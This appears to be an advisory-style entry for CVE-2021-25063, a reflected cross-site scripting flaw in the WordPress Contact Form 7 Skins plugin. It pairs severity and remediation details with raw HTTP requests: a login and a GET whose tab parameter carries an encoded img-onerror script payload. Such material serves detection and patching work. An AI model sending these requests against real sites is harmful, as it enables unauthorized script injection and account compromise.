| Title | WordPress Contact Form 7 Skins <=2.5.0 - Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the website, potentially leading to unauthorized access, data theft, or defacement. |
| Remediation | Update to the latest version of the WordPress Contact Form 7 Skins plugin (2.5.1) or apply the vendor-supplied patch. |
| CVSS Score | 6.1 |
| EPSS Score | 0.01155 |
| CVE ID | CVE-2021-25063 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wpscan wordpress wp-plugin xss contactform authenticated cf7skins vuln |
WordPress Contact Form 7 Skins plugin 2.5.0 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the tab parameter before outputting it back in an admin page.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; CrOS x86_64 14816.131.5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip
log=lSzFn9&pwd=rFxSz4&wp-submit=Log+In&testcookie=1
GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:128.12) Gecko/20100101 Firefox/128.12
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25063.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25063.pcap
N/AN/A